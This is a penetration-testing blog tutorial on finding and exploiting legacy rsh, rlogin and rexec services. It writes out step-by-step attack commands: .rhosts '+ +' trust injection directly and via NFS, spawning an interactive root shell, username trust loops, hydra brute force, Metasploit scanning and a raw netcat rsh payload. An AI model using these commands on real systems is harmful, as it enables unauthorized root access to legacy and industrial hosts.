networking

RSH: Clear Text Remote Shell on Unix Systems

RSH: Clear Text Remote Shell on Unix Systems

RSH: Clear Text Remote Shell on Unix Systems

  • Posted on 2026-02-23
  • Reading time: 3 min

Rsh (Remote Shell) is a legacy protocol for remote command execution on Unix systems that predates SSH. Although obsolete and insecure, Rsh is still present in legacy environments, industrial embedded systems, and outdated infrastructure. In this guide, you'll learn how to identify and leverage r-services to gain access to systems long forgotten.

Why Rsh is Relevant in 2026 #

You might think no one uses Rsh anymore. The reality is different: industrial environments (SCADA/ICS), mainframe systems, older network appliances, and legacy infrastructures often keep r-services active for compatibility. During penetration tests in industries like manufacturing, energy, or healthcare, encountering Rsh is not uncommon.

The lack of encryption and trust-based authentication (IP/hostname) make Rsh a valuable attack vector when present.

The R-Services Family #

Rsh is part of a suite of Berkeley remote services:

ServicePortFunction
rsh514/tcpRemote command execution
rlogin513/tcpInteractive remote login
rexec512/tcpRemote execution with password
rcp514/tcpRemote File Copy

They all share the same weak file-based authentication model .rhosts e hosts.equiv.

Client Installation #

On Kali Linux the rsh client may not be preinstalled:

bash
sudo apt update && sudo apt install rsh-client -y

Verify:

bash
rsh --help

On systems where the package is not available, you can use netcat to interact directly with the protocol.

How Rsh Authentication Works #

Rsh uses a trust model based on:

  1. hosts.equiv - Global file /etc/hosts.equiv what a list of trusted hosts
  2. .rhosts - Per-user files ~/.rhosts which specifies which remote users can access

The line + + The jackpot in these files is: allow ANY host and ANY user to connect.

Identification of R-Services #

Before attacking, identify services with Nmap :

bash
nmap -sV -p 512,513,514 192.168.1.0/24

Output for vulnerable system:

text
PORT    STATE SERVICE VERSION
512/tcp open  exec    rexecd
513/tcp open  login   rlogind
514/tcp open  shell   rshd

Basic Use of Rsh #

Single Command Execution #

bash
rsh -l username targethost command

Practical example:

bash
rsh -l root 192.168.1.100 id

Output if trust is configured:

text
uid=0(root) gid=0(root) groups=0(root)

Interactive Shell with Rlogin #

bash
rlogin -l root 192.168.1.100

Exploitation Techniques #

Scenario 1: Universal Trust (+ +) #

The most favorable case: .rhosts contains + +.

bash
# COMANDO: Test accesso root
rsh -l root 192.168.1.100 id

EXPECTED OUTPUT #

text
uid=0(root) gid=0(root) groups=0(root)

WHAT TO DO IF IT FAILS #

  • “Permission denied”: The trust does not include your IP/user
  • "Connection refused": Rsh not active or firewall

Scenario 2: Rhosts Injection #

If you have limited write access (via anonymous FTP, web upload):

bash
echo "+ +" > /home/victim/.rhosts
rsh -l victim targethost /bin/bash -i

Scenario 3: NFS + Rsh Combo #

If the target exports home directory via NFS:

bash
sudo mount -t nfs 192.168.1.100:/home /mnt/nfs
echo "+ +" > /mnt/nfs/victim/.rhosts
rsh -l victim 192.168.1.100 id

Practical Penetration Testing Scenarios #

Complete Scenario: Legacy Unix Environment #

Estimated timeline: 20 minutes

bash
# COMANDO: Scan iniziale
nmap -sV -p 512-514 192.168.1.50

EXPECTED OUTPUT #

text
PORT    STATE SERVICE
512/tcp open  exec
513/tcp open  login  
514/tcp open  shell
bash
# COMANDO: Test trust con utenti comuni
for user in root admin oracle nobody bin; do
    echo "Testing $user..."
    rsh -l $user 192.168.1.50 id 2>/dev/null && echo "SUCCESS: $user"
done

Integration Matrix #

Rsh +OutcomeUse
Nmapr-services identificationnmap -p 512-514 target
NFSInjecting .rhosts via mountCompromise trust
HydraBruteforce rexechydra rexec://target
Metasploitrsh_login modulesAutomated scanner

Metasploit for R-Services #

bash
msf6 > use auxiliary/scanner/rservices/rsh_login
msf6 auxiliary(rsh_login) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(rsh_login) > set USERNAME root
msf6 auxiliary(rsh_login) > run

Detection and Countermeasures #

What the Blue Team is looking for #

  • Connections on ports 512-514
  • Changes to .rhosts e hosts.equiv
  • Log in /var/log/auth.log

Troubleshooting #

"Connection refused" #

bash
nmap -p 514 target

“Permission denied” #

Try other usernames or search for vectors to change .rhosts.

Client unavailable #

Use netcat:

bash
echo -e "\0root\0root\0id\0" | nc target 514

Cheat Sheet Commands #

OperationCommand
remote commandrsh -l user host command
Interactive Shellrlogin -l user host
Copy file uploadrcp file user@host:/path
Trust Testrsh -l root host id

FAQ #

Is Rsh still used?

Yes, in legacy, SCADA/ICS, and mainframe environments.

How to defend yourself from Rsh?

Disable services, use SSH, firewall on ports 512-514.

Is it legal to test Rsh?

Only on authorized systems. For legacy penetration testing, visit hackita.it/servizi.


Want to support HackIta? Visit hackita.it/supporto to donate. For professional penetration testing and one-on-one training, check out hackita.it/servizi.

Resources : R-Services Wikipedia

#unix

leave a message

I'm not a robot